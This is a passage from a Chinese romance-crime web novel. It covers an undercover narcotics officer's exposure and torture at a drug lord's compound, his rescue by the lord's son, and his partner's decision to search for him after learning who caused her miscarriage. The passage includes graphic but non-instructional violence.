房门打开,进来的男人依旧带着那两名手下,但他们没有再像从前那样对沈宗野施以暴刑,他们一左一右拽起他,将他拖行出这间血腥弥漫的屋子。 沈宗野被丢到一间手术室。 路上从屋子到医院只用了几分钟,他坐在摆渡车上一会儿就到了。可见这里设施完善,是董自新的王国。 即便是在最疼痛的时刻,沈宗野也必须要保持一个缉毒警察坚固的警戒,留心四周的一切。 他照了CT,身体里能恢复的伤口都被医生清理,能简单取出来的玻璃和铁钉都被手术取出,但这里无法提供更精密的手术,他体内很多的玻璃碎屑还是无法取出,已经形成了肉芽肿,一呼一吸间都刺激成疼痛伴随他。 沈宗野在病房里躺了三天。 即便做完了手术,严重的折磨还是没有让他身体那么快恢复,他只能躺在病床上,但这个结果对他而言已经很好很好。 房间四角都是监控,灯永远亮着,不会熄灭。 这一天,沈宗野在这里竟等来了董自新。 董自新只是站在病房门口,手上盘转着一串菩提子,面无表情盯着沈宗野。 沈宗野艰难地撑坐起来,牵动手术伤口,疼痛让他眉心紧皱。 “董叔。”沈宗野双唇嗫嚅,说不出话来,流下了眼泪。 他的眼神既害怕,像个犯错的小辈,又很是委屈,不敢埋怨地垂下头。 他把这份伪装演得无懈可击。 紧紧攥着拳不再看董自新。 董自新发出一道阴冷的笑声。 沈宗野终于才抬头:“谢谢叔留我活着……” 董自新面无表情盘转着菩提珠串。 沈宗野说:“董叔,如果我真的是警察的话,那天我就会第一时间发现你们扔下的那辆车上有炸弹,我就不会开车去掩护你了,而是把车留在原地等爆破的警察吧。” “董叔,希望你能相信我。” 董自新还是不说话,只高深莫测地睨着沈宗野。 沈宗野说:“我的手表,手机,钢笔能不能还给我?” “不用手机,就要钢笔就行。”他解释,“董叔,那是我想送给你孩子的。” 董自新手上转动的菩提猛一停下,眯起阴森的眼眸。 “对不起,之前在万哥那里打听了叔的家人,他说您有孩子。”沈宗野黯淡地做着解释,“我不知道他是男是女,应该在上学吧?我带了一支银白色的钢笔,是很贵的限量款,本来这趟是想献给徐叔的,我不知道您还活着。” 那支钢笔和沈宗野身上的手机等物品,在他进来时都被搜走。 董自新脸色阴森恐怖:“管好你的嘴。” 沈宗野慌忙地道歉,董自新消失在病房。 沈宗野不知道这只钢笔会不会回到陈沥周手上。 他到这里之后完全没有机会打听陈沥周。 第五十六天时。 沈宗野在夜里忽然梦到了梁然。 她好像很痛苦,穿着蓝色的裙子,躺在一张白色的床上流下一行眼泪。 沈宗野从梦里惊醒过来,天花板上的白炽灯灼着眼,他浑身的汗,刚刚喊出了梁然的名字,是梦中喃喃的呓语。 沈宗野很后怕,但不敢看四周的监控,他越暴露,越会给他和梁然带来隐患。他就装作是梦到了那间水泥屋子里的酷刑,看着左手缺失的三只手指哀伤难过。 隔天晚上,他又梦到了梁然。 梁然还是很难过,葡萄叼来小鱼干放到她跟前,小爪爪推了推,好像在说“你快吃吧”,哄着她开心。可梁然笑不出来,她的脸在梦里模糊得只有轮廓,看不清无关,但他知道梁然在流眼泪。 沈宗野从梦里醒来,不敢再睡。 他从来没有这样担心过梁然,他好想这一切快些结束。 …… 第五十九天。 病房里闯进来的人不是医生,是董自新的手下。 他们来势汹汹,左右两人狠拉下他,直接将他从病床拽下,不顾地面的水泥和碎石,将他拖行扔到一处高台上。 四四方方的高台宽阔平坦,中间立着一根飘飞的旗杆,上面紫色与红拼接的旗帜应该是董自新和当地武装势力联盟的标志。 台上陆续站满持枪的武装人员。 徐川来到台上,在沈宗野面前蹲下,中年男人的眼眸很是失望,又带着浓烈的憎恨厌恶。 沈宗野忽然明白这一次不一样。 台下陆续来了很多青年,也有一些眼神狠辣的女人,都是董自新毒品王国里的各个部下。 沈宗野看到了他们眼里的杀气。 他好像知道他应该是暴露了。 他的心沉到了谷底。 “小沈,看看这个视频里的缉毒精英跟你像不像。” 徐川把平板扔到地上。 沈宗野趴在地上看着,画面里是他接受采访的那段录像。 视频打了马赛克,他的身影和脸都处在高斯模糊的状态,其实不容易对比出是他,也没有一些体貌特征,唯一算露馅的是主持人问他“在身体伤残时有没有一刻后悔过”。当时沈宗野其实皱了下眉,觉得这句话不应该出现在提问里,事后电视台说不会暴露他,马赛克做得很严密。 “身体伤残”。 可视频里有他起身敬礼的片段,能看出他四肢健全。 “徐叔,他妈的这个人不是我!” “还说不是你?谁他妈身体伤残了还有胳膊有腿。” 徐川指挥身后一个戴眼镜的男人,男人说:“根据办公桌和镜头的距离,目测一般采访室的大小,我们用公式可以算出视频中的缉毒警察和镜头的距离有3米,按敬礼这个画面窗口的高度可以算出墙高是3.2-3.5米之间,摄影头以30-50度视角仰拍,按这个警察距离镜头3米和窗口高度来计算,他的身高在187-196厘米之间,减去警制皮鞋与警帽的高度,可以得出这个警察的身高在183-188之间。” 沈宗野脸上只有被污蔑的急迫。 可他的心沉落到了死局。 他知道再辩解都无用了。 徐川:“你的身高就很符合,你的大拇指也很符合。沈宗野,枉我劝董爷留你,你他妈真是连我也骗过去了啊。” 这段时间,徐川知道董自新国内需要人手,才劝着给沈宗野一个表现的机会。 沈宗野愤怒地解释:“你要把我往死里推,我不是警察!” 徐川冷笑:“没用了,今天你会死得很惨。” 台上有各种刑具,还有毒品。 徐川坐到了一旁的椅子上,低头点烟。 之前让沈宗野受刑的男人开始叫人上台来弄沈宗野:“一个个来,每个人都有份,别一下子干死了。” 第一个上台的毒贩想用刀子割沈宗野的耳朵,沈宗野快速地扭避,腿踢中青年,将他踹下台,引得台下的人争先要上来弄他。 匕首还是划破了耳廓皮肤,血液滚烫落入脖颈。 沈宗野刚做过手术,胃部的伤口还是撕裂了。 这样的场面像沈宗野入职以来在局里听过的各地暴露的缉毒警察被报复时的案情。台下的一群群人都是执掌今天这场死刑的侩子手。 他必须要自救。 他看向徐川:“徐叔,我不是警察。如果今天你让所有人这样杀了我,事后查出我是被诬陷,难道不是寒了所有兄弟的心?谁不是拿命在帮董叔,台下的兄弟有一天被误会,也要像我这样被当众惩罚?” 第二个人听进去了,看了眼徐川,只狠狠踢了沈宗野身体。 徐川无动于衷:“证据摆在眼前,台下的兄弟再像警察,也没有人像你嫌疑这么大。” “你说了,我只是嫌疑大!” “我不是叛徒!” 沈宗野的情绪异常坚毅。 他的气场太过强大,已经惹得台下一些人开始犹豫观望。 但徐川还是没想放过他,歪头示意给沈宗野施刑的男人。 男人拿起了注射器,操作着吸入毒品液体。 沈宗野眼眸黯然。 他知道他这一次可能真的活不了了。 他有些后悔了。 他后悔他今年才25岁,缉毒的生涯还想干一辈子。 他后悔以后不能再战斗了。 他后悔这次的卧底走得太早了。 他应该过完除夕,陪梁然跨过年,看一场烟火再走。 他们上一次的除夕就没有好好地看过酒店窗外那场烟花。 他后悔了。 后悔他们的新房装修得太慢,他还没有让梁然拥有一个新家。 他后悔他没有跟梁然说出一句我爱你。 他从来没有承认过他爱她,可他明明早已经非她不可。 为什么到现在才意识到梁然早就爱上了他,他可以大大方方地把她抱到胸膛里,对她说一句“我爱你”。她不会被他吓跑的,她也是爱他的。 他们没有说过这三个字。 他不想死在这里,他想回去见到梁然,亲口告诉她“我爱你”。 他不想死在这里,他想信守诺言,活着回到梁然面前。 男人来到他面前。 沈宗野喊他兄弟,说着触动人心的话,都是他踏上这条路的经历。几句话短短几秒,男人到底还是给他时间说了,但一双硬鞋踩上他腹部,狠力碾压。 手术缝合的伤口破裂,腹腔剧烈的疼痛让沈宗野脖颈上青筋遍布,血管急速的血液流转,暴烈突起的青筋蔓延到眉峰。 沈宗野的双眼是血红的,眼白里密密麻麻的小血管全部破裂。因为疼痛,他薄唇大口地张着,却仿佛吸不到一丝空气。一地红色,是他为缉毒流下的血。他高大身躯倒在这片血泊里,浑身抽。搐,颤抖,修长的双腿痉。挛似地抽搐。 台下的毒贩里,有卧底进来的新同事。 是他把这件事汇报给了王局,是谢天明在接听王局的电话,是梁然在遥远的南城流下眼泪。 男人一声“你忍忍”刚落下,一道愤怒的、急迫的嘶吼声让他住手。 远处的青年冲到台上,他鼻梁上架着一幅金边细框眼镜,模样英俊斯文,冲到沈宗野面前用身体挡住他。 男人不耐:“你他妈谁啊?不要命了——” 啪。 一记耳光扇在他脸上。 是徐川打的。 来人是陈沥周。 因为收到那支钢笔而想尽了办法终于赶来的陈沥周。 “我要这个人!”陈沥周对徐川嘶吼。 徐川虽然是看着陈沥周长大的,很得陈沥周的尊敬,也把陈沥周当成亲厚的小辈,但他此刻不为所动。 陈沥周夺过他们的注射器,扎入自己手臂:“把他给我!不然我也死在这里。”他的手指按着活塞柄,即将推入的动作,他在发抖,但镜片后的眼睛无比坚定。 沈宗野吐着血,不知道腹腔哪出破裂了,巨大的疼痛和呼吸道的血液都让他无法再开口表达。但他拖延了时间,真的撑到了生机。 他们还在僵持。 徐川看向陈沥周身后,是董自新来了。 董自新一句话也没说,但沉静的表情彰显着他的暴怒。 陈沥周说:“我要他活着!给他做手术,救他!不然我也把命还你。” 陈沥周已经流下眼泪,看着董自新,语气带着祈求:“求你了。” 他们是亲父子,但是这近一年的时间,他却被他的爸爸关押、监视,每天都生活在无数双眼睛,无数的摄像头和窃听器中。 他知道了他的爸爸不是一个正经开店,喜欢养花种菜的普通人,而是一个杀人无数的毒枭,手底下拥有一个组织严密的贩毒集团,拥有一支武装势力。 他的爸爸,成为了他一直以来最痛恨的人。 父子俩眼神对峙半晌,董自新蓦地冷笑了下。 徐川这才淡声吩咐左右:“抬人。” 他们直接将沈宗野抬下台。 鲜红的血流了一路。 他们将沈宗野丢到代步车上。 陈沥周扔掉注射器,手在发抖,脚步也在颤抖,他跳上车坐到沈宗野旁边的位置。 “开快点!快点。”陈沥周嗓音哽咽。 沈宗野的瞳孔已经失焦,脸颊到脖颈的皮肤全都一片惨白。 他撑到现在只是因为缉毒警察的意志,他的身体早就被折磨得像个死人。 最后一丝理智告诉他,陈沥周还可以信。 沈宗野抬起右手,沾到血,慢吞吞在陈沥周掌心划着什么。 他画的是一片四叶草。 是梁然救了他。 梁然的钢笔,梁然和陈沥周的四叶草。 陈沥周对上沈宗野的眼眸,视线急剧地颤抖。 沈宗野知道陈沥周看懂了,他还是太累了,闭上了眼睛。 …… 这里是董自新的王国,每个区域都有严密的规则和监控。沈宗野被抬走后就失去了所有消息,台下各个毒贩忿忿不平散去,包括其中卧底的同事在后续很长的一段时间都没有沈宗野的消息。 沈宗野被送到了医护室里抢救。 陈沥周去求董自新,他的衬衫和裤子上都是沈宗野的血迹。 他对董自新说:“爸爸,你要把他治好。” “他是个警察。” “他不是。” “为什么救他?” 陈沥周说不出为什么。 他以前只以为沈宗野是个坏到透顶的毒贩,对梁然性虐。 收到那支钢笔时,他极度地惊恐和担心,他以为是他曾经联络过梁然,暴露了梁然,让董自新把梁然抓到了这里。 是啊,他的爸爸十恶不赦,做尽了坏事。 他是在去年六月才知道这一切。 董自新骗他出国,在他出国后派人将他带到这里。 他也是在那时才知道他的爸爸一直在毒贩,从来没有什么金盆洗手。 从前那些虚假的父爱都是演的,董自新不再演了,对他冷漠严厉地训诫,将他监视起来,没收他一切可以向外界联络的设备。他每天被关在豪华的房子里,游戏机,不联网的电脑,董自新给他能消遣的一切,但就是禁锢他的自由和人格。 他甚至在被关了很久之后才知道,他早在一开始的时候就被董自新用吐真剂引导说出了轻松二号的制作公式,以及为什么制作轻松二号。 这事是徐川告诉他的,徐川说漏了嘴。 徐川说,当时他回答是为了给妈妈和喜欢的人报仇。 董自新问他喜欢的人是谁,陈沥周说一个好姑娘。 药性太强了,陈沥周那时晕了过去,才没有说出后面的话。 他得知这一切与董自新撕破了脸。 他流下眼泪质问董自新,为什么要贩毒,为什么要做坏事。 董自新说他天真。 他出国的钱,他在国内读贵族学校的学费,他顺遂富裕的人生全都是毒资提供给他的,居然还有脸问为什么。 陈沥周流下眼泪质问:“难道你就不给妈妈报仇了吗?” 董自新沉默瞬间,冷声说:“仇已经报完了,但我不会放弃毒品生意,我们父子撕破了脸,我也不会怪你。如果你想对得起你妈妈,就在这里给我生个孙子出来。” 从那天起,陈沥周彻底失去了人权。 他被他的爸爸关在了房间里,里面是漂亮年轻的女人,来给他生孩子的女人。 他不碰,董自新就换一个女人进来。 他还是不碰,董自新就叫人给他喂药。 药物实在太难受了,陈沥周就自残伤害自己,把头撞破,陷入晕厥。 董自新进来和他长谈,说他很希望有个孙子。 陈沥周问:“是觉得大号练废了,想要一个小号吗?” “你想要孩子,你可以再找女人生,反正我现在再也看不到我的爸爸还会记得我的妈妈。” 董自新无比愤怒。 从那天起,董自新的方式变了。 他说他年纪大了,身体不行了。他只需要精。液去做试管,他给陈沥周选择,是让女人来帮他,还是他自己取。 陈沥周每天会被喂食各种药物,他是个学化学的,有对些成分很了解,那些药都是治疗弱精症,提升精子质量的药物。 陈沥周不去探究他是不是弱精,是不是精。液质量有问题。 他只知道他在那一天后就失去了人权,失去了爸爸。 他每天过着这样的生活。 丰富的饭菜,每隔几天必须上交的精。液,他好像只是董自新传宗接代的工具。 直到前天收到董自新给的那支银白色钢笔,他才从活死人的状态醒过来。 那是他送给梁然的、全球限量款的派克笔,上面有他的刻字。 他那一刻激动又惧怕,不敢问出梁然,可却一直想打听到梁然的消息。 直到今天,他听到有人说会议台那边在杀一个缉毒警察。 这是他能阻止今天这一切的原因。 他看到是沈宗野的瞬间,想到了梁然。 他不知道他送给梁然的笔为什么会在沈宗野手里,但他们这样对待沈宗野,他就知道了沈宗野一定不再是一个坏人。 直到沈宗野在他掌心画出那片四叶草。 陈沥周知道梁然是恨毒贩的,她不会喜欢一个贩毒的人,她能把钢笔和四叶草都交给沈宗野,那只能因为沈宗野是一个好人。 对于梁然,她是美好,是希望,是陈沥周熬过这些苦时光唯一的慰藉。 每次熬不下去时,他就去想梁然。 即便那些他们一起度过的时间很短暂,梁然也终于成为这漫长的黑暗里他唯一的月光。 董自新还在等他的答案。 陈沥周说不出这答案。 陈沥周冷冷说:“我不要他死,如果他死了,你就没儿子了。” “你威胁你老子?”董自新紧眯眼眸。 陈沥周没有见过董自新周身杀气的样子,眼前的中年男人的确不再是曾经那个为他做饭,对他关怀备至的慈爱的爸爸了。卸去虚假的面目,他们之间再也回不到最初那段父慈子孝的亲子关系。 还是有眼泪从陈沥周眼眶滑落,他还是太弱了。 董自新终于松口:“你拿什么资格跟我谈条件?” 陈沥周无声了片刻,沈宗野还在医务室,那具糟糕的身体没有时间再拖下去,陈沥周握了握拳说:“我配合你,要一个孩子。” 董自新淡声说:“他是个警察。” “他不是!你见过他的脸?那段视频模糊成那样你们就说他是?第一个说他是的人是谁啊,是不是太想取代沈宗野,去笼络你的市场啊?”陈沥周反问,“你是不是哪里做得太出色,在外面得罪了人要跟你抢地盘?” 陈沥周没办法洗脱沈宗野警察的嫌疑。 他就使用离间计。 他忽然觉得他在这黑处呆太久了,怎么变得这般恶毒起来了。 董自新有明显的松动。 陈沥周说:“爸爸,我认识他,在宁城的时候他还帮助过我。我每天被关在这里,没有一个朋友了,我希望他活下来。可以吗?” 董自新终于松口:“看他的造化。” “不行!你必须把他送出去,去外面的医院!我知道你有办法。爸爸,求你保住他的命。” “你在替他难过?”董自新问,“那时候爸爸的手断了你怎么不为我这样难过?” 说到这里,陈沥周想起了最开始看到董自新空空的袖管的时候。 当时董自新说他被毒贩伤了,陈沥周抱着董自新嚎啕大哭,他说把他的手臂接给董自新,董自新感动得红了眼睛。 此刻,陈沥周苦笑,反问:“你不记得那天了吗?我们怎么走到这一步的,你也不记得了吗?那你把我的手臂拿去吧,我的给你。” 董自新盯着陈沥周许久,终于是流露了仅有的一丝人性。 他扭头示意徐川去办,垂死边缘的沈宗野很快被医护人员从医务室推上了救护车。 但董自新立场依旧不变:“我留他一命是因为你是我儿子,如果你不听话,我也可以随时不留他。” “……谢谢。你今晚就可以找女人过来了。”陈沥周垂下视线,嗓音干哑。 董自新却说:“不急,你是我儿子,爸爸是心疼你的。我会给你一个你自己喜欢的女人。” 陈沥周原本没觉得这句话有什么不同之处,他准备离开,但是余光见董自新在笑,那笑很如从前那般和蔼,陈沥周忽然才猛地惊醒。 “什么是我自己喜欢的女人?爸,你想做什么?”陈沥周声音在发抖。 董自新:“你惦记的女人,给你妈妈设计园林那个,叫梁然。” 第117章 第117章我不后悔 大脑的血迹急速流转,在耳膜深处激起嗡鸣的声音。陈沥周如坠冰窟,浑身发寒。 他努力控制所有的失控,才不至于让他露出在意的模样,他冷嗤:“我早就不喜欢了。” “我每天关在这里,怎么还会去想女人?爸,我不知道你见没见过这个梁然,我以前是以为对她有点好感,但我只是觉得她像我妈妈。” “时间这么久,我早就不在意了,你别牵连无辜的陌生人了,我只想见到奶奶,我不想再背负太多的罪孽。” 提到他的奶奶,董自新才有些动容。 陈沥周流下眼泪:“谁都救不了我,你不能,女人不能,只有奶奶可以,我想奶奶了,我好想奶奶啊。” 陈沥周不知道,因为他这句话,董自新真的放弃了劫持梁然。 …… 四月底的气候阵雨繁多,这场雨随着迁徙的台风从这里迁到南城,淅淅沥沥坠入南城的夜。 谢天明说,卧底的同事说沈宗野暴露了,但沈宗野被一个戴着眼镜、气质斯文儒雅的青年救下,他的情况有些危险,但还是能活的。 后半句是谢天明的安慰。 在梁然耳中,它应该只是一句不知生死的话。 她的眼泪流尽了。 她不知道要怎么才能让沈宗野活着。 救沈宗野的青年是陈沥周吧,他能保护得了沈宗野多久?毒贩的地盘怎么能容忍沈宗野一个缉毒警察活下去。 梁然无法把这颗跳动的心脏妥善地安放。 即便睁开眼睛看着窗外繁华的城市,她的眼前也是沈宗野浑身是血的模样。 谢天明没有把沈宗野怎么被折磨的经过告诉她,他只说沈宗野不好了。但是梁然知道,她知道啊,沈宗野在受苦。 “你们的人为什么救不了他!”崩溃到极致,梁然几乎是愤怒地责问,“你们派人去救他啊,既然都能打出来电话,为什么不去抓坏人!” “嫂子,我们会抓捕董自新,你别这样。”谢天明想劝,可他不是沈宗野,无法给梁然任何安慰。 田雪虽然也同情梁然,但还是不赞同地开口:“我们知道你是难过才说这些话,难道我们不想救同事吗?你知不知道这个电话是我们的同事冒着生命危险打出来的,而且他也不知道自己在哪儿,还有跨国办案不是你以为的那么简单……” 谢天明没让田雪再说下去。 梁然回到了房间。 她看着墙上那幅画,画上的手指修长漂亮,指骨匀称,紧实有力的腕骨被沉香环绕,那颗蓝色的翡翠似星辰。 她紧抿着唇,就这样一言不发地望着这幅画。 第二天必须要去上班了。 乔思嘉还在韩国,助理处理不好一些工作,梁然也从来不是躲避的性格,早起换上一身蓝色的西装去了公司。田雪跟在她身边当着助理,谢天明也隐身在她附近。 这一天,没有任何异常的跟踪。 第二天,第三天,也没有跟踪的痕迹。 王有为说那台黑车在前天的早晨就被车主弃车逃离了,原本想抓捕黑车的警察扑了个空。 车子牌照都是假的,倒是监控显示的那名司机和车上的另一男性消失在了长途汽车站。 第四天,梁然身边依旧没有跟踪。 王有为将谢天明撤离,留下田雪继续跟在梁然身边再作观察。 梁然每天忙着工作,处理工作认真严谨,游刃有余。 田雪坐在她办公室喝着咖啡,梁然一抬头时,正撞见田雪盯着她瞧的眼神。 田雪自然有些尴尬:“呃,嫂子,我发现你工作的样子真的好漂亮啊。” “这样才好嘛,人总是能走出来的。你别整天担心沈哥,他会没事的。” 人总是能走出来的。 对梁然来说,她只是隐藏了她对沈宗野的牵挂。 第八天,他们把田雪从她身边撤离,安排在暗处。 梁然回到一个人的状态,上班,下班,回到家家里还是只有葡萄,钟点阿姨也会在她下班后离开。 她的身体好像恢复如常,像是那个宝宝从来不曾来过。 她依旧会有忙不完的工作,坐到电脑前依旧会认真画出图纸,但却犯下了最低级的计算公式错误。 梁然放下鼠标,怔怔看着窗外的一轮月。 那轮月升在繁华的城市夜空。 她知道如果没有沈宗野,她不会有这些牵挂和疼痛。 她知道如果没有沈宗野,她会愉快地生活在这座城市的繁华下。 只要她放下沈宗野,她的工作就不会受到影响,她心底的疼也会逐渐变得无足轻重。 她知道的,沈宗野凶多吉少。 这几天谢天明不敢接她的电话,这几天田雪说局里没有卧底同事新的消息,卧底同事已经失联了。 梁然面对过死亡。 她经历过沈茹的死,她经历过梁幸均的离开。 在意的人离世,会是当时刻骨的痛楚,但在余生里再难忘的疼也都只会化成心底一场绵绵不休的雨,黏腻、潮湿,伴随一生。但余生总会有晴天的,不会永远都是雨天。 她知道她从来都很理智。 只要她放下沈宗野,她就不会再拥有这种刻骨的疼痛。 她会拥有向上发展的事业,她可能会和一个像陆朝那样的男性恋爱,结婚。她有很多的财富,她会过着比现在更好的生活。 只要她放下沈宗野。 但她做不到。 她的理智早就在沈宗野刻画的爱意里变成感性。 她冷寂的人生早就被沈宗野捂热。 梁然知道,她做不到。 她没有办法放下沈宗野。 第十天。 暗处的田雪被王有为召回局里了,她身边已经没有任何可疑的跟踪,她公司的环境和居家环境安保又非常严格,局里觉得她已经处在安全的范围。 这一天,梁然约谢天明见面,问他沈宗野的情况。 谢天明还是有些黯然,如今没有隐瞒梁然:“新的同事还是失联的状态,我们不能一直这样打入新人过去。嫂子,坏人总有一天会落网的。” 人没办法的时候总会说一些励志的话。 这个总有一天是哪一天? 像在宁城那样,是一年以后?还是永远预知不到? “嫂子,我看你这几天气色也好多了,你别担心啊。”谢天明给梁然夹菜。 梁然抿起唇淡淡笑了笑。 餐厅的落地窗外,城市艳阳高照。 阳光铺在梁然眼底,她做了一个毅然的决定。 中午,乔思嘉终于从韩国工地上回来了,和梁然吐槽她以后再也不想接这种项目。 梁然请她去做了spa,订了新款的包犒劳乔思嘉,两人又一起去美妆专柜扫了很多口红,经过一家婚纱礼服店,梁然停下了脚步。 乔思嘉有些不解。 “怎么啦,想起你家沈淮宗了?” 梁然只是笑:“嘉嘉,我们拍一组婚纱照吧。” 乔思嘉:“?” 梁然:“我想看你穿上婚纱的样子。” 乔思嘉懒懒摆手:“太累了,改天吧。我都要累死了,江凛凌晨三点回来,我现在只想回家躺到床上,好好睡一觉,江凛回来都别打扰我那种!” 梁然一笑。 和乔思嘉分别后,她开车回了趟怀城,将葡萄送到了梁悦这里。 梁悦非常高兴:“姐,怎么把猫猫送回来呀?” “我要出差一趟,季阿姨请假了,钟点阿姨照顾不好葡萄,带回家让张姨和你照顾吧。” “你要去很久吗?” “嗯,有些久。” 梁然陪梁悦去外面吃了晚饭,带着梁悦玩了夹娃娃。 晚上,她开车回到南城。 家里很安静。 没有了钟点阿姨,没有了葡萄,没有沈宗野。 书房昏黄的灯光安静洒在胡桃木办公桌上。 梁然握着钢笔,出神了很久,在空白的笔记本上写下字…… 第二天。 她乘坐最早的航班飞到了宁城。 五月初的宁城满城市盎然的翠绿。 春天来得晚,城市倒显得生机勃勃。 她来到了沈宗野之前租住的公寓。 她打开对面这套她买下的房子。 滑滑梯就在客厅入眼处,阳光落满地板,开门的风涌动进来,照亮光束里浮动的灰尘。 那尊没有带走的白瓷观音立在桌上,迎光微笑,慈悲的眉眼普度众生。 观音好像知道梁然来了,也好像等着梁然的到来。 观音望着梁然。 梁然看着观音。 有些事也许从一开始就已经注定。 对面忽然响起开门的声音,沈宗野曾经租住的房门被一对年轻情侣打开。 他们走出房门,见到梁然打量过来的视线,两人愣了下,忙将房门关上。 梁然在物业处找到房主,在一天之内用双倍的价格将这套房买下。 那对情侣还在搬家,等房子腾空的这一天,梁然去了阳城一处海边,她和沈宗野曾经来过的海边。 海岸附近依旧摆满长长的摊位,夕阳坠入水面,起伏的海潮上晚霞的金光被浪花折碎,像闪烁的星。 梁然坐在了沈宗野带她来过的那家餐厅。 还是从前的那名女服务生来招呼她,问她点什么菜。 梁然坐在海滩上的露营帐篷里,视线望着餐厅里忙碌的年轻老板,餐厅已经多了很多客人,不再像从前那样只有他们一桌客人。 梁然点完了从前点的那些菜。 女生说:“你一个人吃吗?那有点多诶。” “没关系。我很久以前来过一次。” “是前年吗?”女生试探地问她。 “你还记得我?” 女生笑得很甜:“嗯!还真是你,我记得你,因为你很漂亮嘛。” “谢谢。” “前年和你来的那个青年呢,你点这么多是等他吗?” 梁然点头:“是的,我在等他。” “那就好,不然你一个人肯定吃不完。”女生手写着菜单,进门之前对梁然笑,“我和我老板在一起啦!” 梁然笑:“你很开心,真好。” 女生扬起笑脸进屋去忙了。 那道刷白的墙上依旧还是从前那排发光的字: 爱隔山海, 并不后悔当下的选择。 海风吹落进梁然的眼睛。 她吃着满桌的海鲜,每一样都吃一点。 结账离开的时候,女生问她:“你男朋友没有来吗?” “嗯,但是我知道他会来的。” 她的话有些奇奇怪怪。 女生也不好意思多问,还给她抹了零,热情地说欢迎下次光临。 梁然绕着海滩走了很久,不知道哪家餐厅里放着一首很老的歌,思念的歌词和她此刻的心情一模一样。 她穿过这片音乐离开。 第二天,对面的情侣已经利落地搬空,物业收了钱,找保洁公司迅速地做完了清洁。 梁然重新回到这套房子。 沈宗野的卧室格局没变,但熟悉的房间里再也没有他的气息。 她走进她曾经装修的那间健身房,攀岩墙依旧还在,那些健身器材也还在,原封不动。 梁然看着这一切,轻轻抿起了红唇。 打开台灯,她伏在桌上写下字,装入了信封,收件人是沈淮宗。 …… 今晚她睡在了这里。 床仍是沈宗野睡过的那张床,他们在这里度过那些虚情假意、各自防备的时光。梁然想起从前,忽然就有些好笑。 她侧身拥住被子,修长的天鹅颈白皙纤细,乌黑的卷发散落在枕畔。 她想象她抱到的是沈宗野,她肌肤触碰到的是沈宗野的体温。 第二天。 梁然约见了何詹。 来到宁城她就是为了找到陈沥周,或者是和陈沥周有关的一切。 如果没有卧底警察能传递出消息和准确位置,那么她愿意去做这个传递信息的人。 她没有告诉谢天明,因为谢天明不会同意,禁毒总局也绝对不会允许。 见何詹是为了套到和陈沥周有关的消息,可梁然还是失望了。何詹从那次之后就一直没有再收到过陈沥周的信息。 何詹以为梁然是喜欢上了陈沥周,很担心陈沥周。 聊完这些,何詹想找些话题安慰她:“要不要去我们公司看看,虽然沥周不在,但我不敢松懈,公司现在发展得越来越好了,新的家政机器人也开完了发布会,快要上市了,一起去看看?” 梁然原本想拒绝,不过还没去过陈沥周的公司,索性同意了。 她在公司里遇到了孟曦,何詹正好让孟曦全程接待梁然。 孟曦见到梁然也有些意外,不过礼貌微笑地引着梁然参观公司上下。 孟曦身上的香水味浓烈独特,梁然觉得有些熟悉,想不起来在哪里闻到过。 “你用的哪款香水,沙龙调香吗?很独一的味道。” 孟曦一笑:“是的,是法国的香薰大师的私人订制,我按我的喜好做了这款,没想到也有客户喜欢,我还给两个客户送过这款香水,梁总喜欢的话……” 孟曦忽然停顿,脸上的笑有些僵硬,但她很快就绕开了话题,看向迎面来的何詹:“何总来了,让何总陪您逛吧,我去安排晚餐。” 梁然觉得孟曦的状态有些不寻常。 她现在把周遭的一切都往最坏的地方想。 在晚餐结束时,何詹提出要送梁然回酒店,梁然说:“让孟特助送我就好。” 孟曦始终维系着礼貌周全的笑。 梁然坐进孟曦的车。 孟曦替她关好车门,回到驾驶座。 “梁总,我的车技很一般,您……” “你知道陈沥周在哪里是吗?” 孟曦愣住。 梁然说:“你能联络到他,对不对?” “我联系不上陈总啊,这么久了,我也会担心陈总。”孟曦黯然地说。 梁然闻着车厢里这股越发独特的香水气,橡木的凛冽带着白胡椒的辛辣,刚才在饭局上的时候她就已经想起了她在哪里闻到过这股香水。 在她做完产检去赴临时客户的约时,在客户那个饭局上闻到那位女士身上这股香水味。 “你的香水送给过谁,南城王董的夫人,李玉芬?” 孟曦暴露出极微的僵硬,如果不是梁然猜定在她身上,一定会忽略这丝细微的表情。 “孟曦,我的宝宝是不是你害的?” 孟曦猛地抬眼:“不是我……” 梁然拿出手机,按下110。 “你不说实话我就报警,警察会调取你那天的监控,查你的行程和你的通讯。” 电话已经拨通,在转报警台。 孟曦猛地夺下梁然的手机挂断通话,她双手发抖,看向梁然的眼神不安和愧疚。 “梁总……对不起。” “真的是你。”梁然的声音无比冰冷。 她很痛苦,好像又有一丝被证明清白的解脱,她不再那么自责,不是她害了她的宝宝。可她还是轻松不起来,她的宝宝永远地离开了她。 “梁总,他们拿我妈妈,我妹妹威胁我,我不得已。”孟曦哽咽着说出这一切,“是他们要我做的,他们想绑架你,把你带走。” “带去哪,他们又是谁?” “我不知道,我只是按他们的电话来做。” 孟曦说,在二十几天前就有人给她打电话,问梁然和陈沥周的关系,要她带走梁然。 他们很有计划,绑架了孟曦的妈妈和妹妹,孟曦不敢报警。孟曦隐约是知道陈沥周在替他妈妈查找毒贩的证据的,隐约知道陈沥周可能凶多吉少,这个电话背后的人应该也是毒贩。 他们问她梁然的信息。 孟曦之前为陈沥周调查过梁然,对梁然的背景非常清楚,但她骨子里不是一个坏人,没有把梁幸均是被毒贩害死的信息透露出来,也没有提过梁然的男朋友好像是个警察。 他们让她限期内把梁然引到第二现场,他们自己会动手。 但梁然却怀孕了。 孟曦查到后告诉给了电话里的人,那头要她把孩子弄掉。对孟曦来说,身为陈沥周的助理,也接触过各大细菌实验室,弄到一些细菌对她来说不算太难的事。 梁然产检那天见到的客户也是孟曦曾经拜访过的客户,那天是她在包房里做了手脚。送香水都是很早以前的事情了,她没想过会因为一瓶香水这样暴露。 她觉得她还有仁慈。 没有用车祸或者更暴。力的方式去害梁然,用了危险系度最小的方式。 眼泪淌在脸颊,梁然冷漠地看着孟曦:“我还要感谢你了?” “没有,梁总,对不起,我真的不想这么做,你的事情过去后他们要我选择一个人放回来,我妈妈到现在都还没有回来!” 陈沥周并没有什么新年礼物送给梁然,那通物流送货的电话不过是试探梁然,他们想借孟曦打消梁然的防备,将她带走。 “伤害你我很后悔,但是我没有办法。梁总,你不该来宁城的,我身边可能都还有他们的人,你不应该再出现在这里。” 梁然说:“带我去见他们。” 孟曦彻底错愕。 是的。 梁然做这一切都是为了来找这些人。 去卧底的警察没有消息再传回来,那就换她来吧。 她要去救沈宗野,她没有办法放下他不管。 “梁总,你在说什么?” 